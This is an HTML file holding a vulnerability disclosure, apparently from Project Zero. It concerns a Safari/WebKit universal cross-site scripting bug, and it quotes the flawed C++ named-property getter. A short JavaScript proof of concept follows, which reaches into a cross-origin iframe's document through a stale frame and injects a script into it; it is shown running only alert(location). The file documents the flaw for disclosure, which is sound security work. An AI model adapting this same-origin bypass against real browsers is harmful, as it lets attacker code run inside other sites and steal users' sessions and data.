51 lines
No EOL
1.8 KiB
HTML
51 lines
No EOL
1.8 KiB
HTML
<!--
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1063
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The frame is not detached from an unloaded window. We can access to the new document's named properties via the following function.
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static bool jsDOMWindowPropertiesGetOwnPropertySlotNamedItemGetter(JSDOMWindowProperties* thisObject, Frame& frame, ExecState* exec, PropertyName propertyName, PropertySlot& slot)
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{
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...
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Document* document = frame.document(); <<-------- the new document.
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if (is<HTMLDocument>(*document)) {
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auto& htmlDocument = downcast<HTMLDocument>(*document);
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auto* atomicPropertyName = propertyName.publicName();
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if (atomicPropertyName && htmlDocument.hasWindowNamedItem(*atomicPropertyName)) {
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JSValue namedItem;
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if (UNLIKELY(htmlDocument.windowNamedItemContainsMultipleElements(*atomicPropertyName))) {
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Ref<HTMLCollection> collection = document->windowNamedItems(atomicPropertyName);
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ASSERT(collection->length() > 1);
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namedItem = toJS(exec, thisObject->globalObject(), collection);
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} else
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namedItem = toJS(exec, thisObject->globalObject(), htmlDocument.windowNamedItem(*atomicPropertyName));
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slot.setValue(thisObject, ReadOnly | DontDelete | DontEnum, namedItem);
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return true;
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}
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}
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return false;
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}
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PoC:
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-->
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"use strict";
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let f = document.body.appendChild(document.createElement("iframe"));
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let get_element = f.contentWindow.Function("return logo;");
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f.onload = () => {
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f.onload = null;
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let node = get_element();
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var sc = document.createElement("script");
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sc.innerText = "alert(location)";
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node.appendChild(sc);
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};
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f.src = "https://abc.xyz/";
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<!--
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Tested on Safari 10.0.2(12602.3.12.0.1).
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--> |